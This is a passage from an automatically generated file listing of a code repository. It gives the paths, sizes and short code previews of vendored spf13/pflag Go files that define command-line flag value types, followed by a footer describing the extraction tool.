    "path": "vendor/github.com/spf13/pflag/float64.go",
    "chars": 3105,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- float64 Value\ntype float64Value float64\n\nfunc newFloat64Value(val float64, p *flo"
  },
  {
    "path": "vendor/github.com/spf13/pflag/float64_slice.go",
    "chars": 4879,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- float64Slice Value\ntype float64SliceValue struct {\n\tvalue "
  },
  {
    "path": "vendor/github.com/spf13/pflag/golangflag.go",
    "chars": 2813,
    "preview": "// Copyright 2009 The Go Authors. All rights reserved.\n// Use of this source code is governed by a BSD-style\n// license "
  },
  {
    "path": "vendor/github.com/spf13/pflag/int.go",
    "chars": 2780,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- int Value\ntype intValue int\n\nfunc newIntValue(val int, p *int) *intValue {\n\t*p = "
  },
  {
    "path": "vendor/github.com/spf13/pflag/int16.go",
    "chars": 3014,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- int16 Value\ntype int16Value int16\n\nfunc newInt16Value(val int16, p *int16) *int16"
  },
  {
    "path": "vendor/github.com/spf13/pflag/int32.go",
    "chars": 3013,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- int32 Value\ntype int32Value int32\n\nfunc newInt32Value(val int32, p *int32) *int32"
  },
  {
    "path": "vendor/github.com/spf13/pflag/int32_slice.go",
    "chars": 4863,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- int32Slice Value\ntype int32SliceValue struct {\n\tvalue   *["
  },
  {
    "path": "vendor/github.com/spf13/pflag/int64.go",
    "chars": 2952,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- int64 Value\ntype int64Value int64\n\nfunc newInt64Value(val int64, p *int64) *int64"
  },
  {
    "path": "vendor/github.com/spf13/pflag/int64_slice.go",
    "chars": 4710,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- int64Slice Value\ntype int64SliceValue struct {\n\tvalue   *["
  },
  {
    "path": "vendor/github.com/spf13/pflag/int8.go",
    "chars": 2935,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- int8 Value\ntype int8Value int8\n\nfunc newInt8Value(val int8, p *int8) *int8Value {"
  },
  {
    "path": "vendor/github.com/spf13/pflag/int_slice.go",
    "chars": 4331,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- intSlice Value\ntype intSliceValue struct {\n\tvalue   *[]int"
  },
  {
    "path": "vendor/github.com/spf13/pflag/ip.go",
    "chars": 3043,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n)\n\n// -- net.IP value\ntype ipValue net.IP\n\nfunc newIPValue(val net.IP, "
  },
  {
    "path": "vendor/github.com/spf13/pflag/ip_slice.go",
    "chars": 5412,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"strings\"\n)\n\n// -- ipSlice Value\ntype ipSliceValue struct {\n\tvalue   *[]net"
  },
  {
    "path": "vendor/github.com/spf13/pflag/ipmask.go",
    "chars": 4052,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"strconv\"\n)\n\n// -- net.IPMask value\ntype ipMaskValue net.IPMask\n\nfunc newIPMaskVa"
  },
  {
    "path": "vendor/github.com/spf13/pflag/ipnet.go",
    "chars": 3330,
    "preview": "package pflag\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"strings\"\n)\n\n// IPNet adapts net.IPNet for use as a flag.\ntype ipNetValue net.IPN"
  },
  {
    "path": "vendor/github.com/spf13/pflag/string.go",
    "chars": 2925,
    "preview": "package pflag\n\n// -- string Value\ntype stringValue string\n\nfunc newStringValue(val string, p *string) *stringValue {\n\t*p"
  },
  {
    "path": "vendor/github.com/spf13/pflag/string_array.go",
    "chars": 4406,
    "preview": "package pflag\n\n// -- stringArray Value\ntype stringArrayValue struct {\n\tvalue   *[]string\n\tchanged bool\n}\n\nfunc newString"
  },
  {
    "path": "vendor/github.com/spf13/pflag/string_slice.go",
    "chars": 5171,
    "preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"encoding/csv\"\n\t\"strings\"\n)\n\n// -- stringSlice Value\ntype stringSliceValue struct {\n\tv"
  },
  {
    "path": "vendor/github.com/spf13/pflag/string_to_int.go",
    "chars": 4856,
    "preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- stringToInt Value\ntype stringToIntValue struct {\n"
  },
  {
    "path": "vendor/github.com/spf13/pflag/string_to_int64.go",
    "chars": 5041,
    "preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// -- stringToInt64 Value\ntype stringToInt64Value struc"
  },
  {
    "path": "vendor/github.com/spf13/pflag/string_to_string.go",
    "chars": 5360,
    "preview": "package pflag\n\nimport (\n\t\"bytes\"\n\t\"encoding/csv\"\n\t\"fmt\"\n\t\"strings\"\n)\n\n// -- stringToString Value\ntype stringToStringValu"
  },
  {
    "path": "vendor/github.com/spf13/pflag/uint.go",
    "chars": 2935,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint Value\ntype uintValue uint\n\nfunc newUintValue(val uint, p *uint) *uintValue {"
  },
  {
    "path": "vendor/github.com/spf13/pflag/uint16.go",
    "chars": 3072,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint16 value\ntype uint16Value uint16\n\nfunc newUint16Value(val uint16, p *uint16) "
  },
  {
    "path": "vendor/github.com/spf13/pflag/uint32.go",
    "chars": 3088,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint32 value\ntype uint32Value uint32\n\nfunc newUint32Value(val uint32, p *uint32) "
  },
  {
    "path": "vendor/github.com/spf13/pflag/uint64.go",
    "chars": 3085,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint64 Value\ntype uint64Value uint64\n\nfunc newUint64Value(val uint64, p *uint64) "
  },
  {
    "path": "vendor/github.com/spf13/pflag/uint8.go",
    "chars": 3007,
    "preview": "package pflag\n\nimport \"strconv\"\n\n// -- uint8 Value\ntype uint8Value uint8\n\nfunc newUint8Value(val uint8, p *uint8) *uint8"
  }
]

// ... and 367 more files (download for full content)

About this extraction

This page contains the full source code of the liamg/traitor GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 567 files (7.6 MB), approximately 2.0M tokens, and a symbol index with 86415 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.

Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.

Copied to clipboard!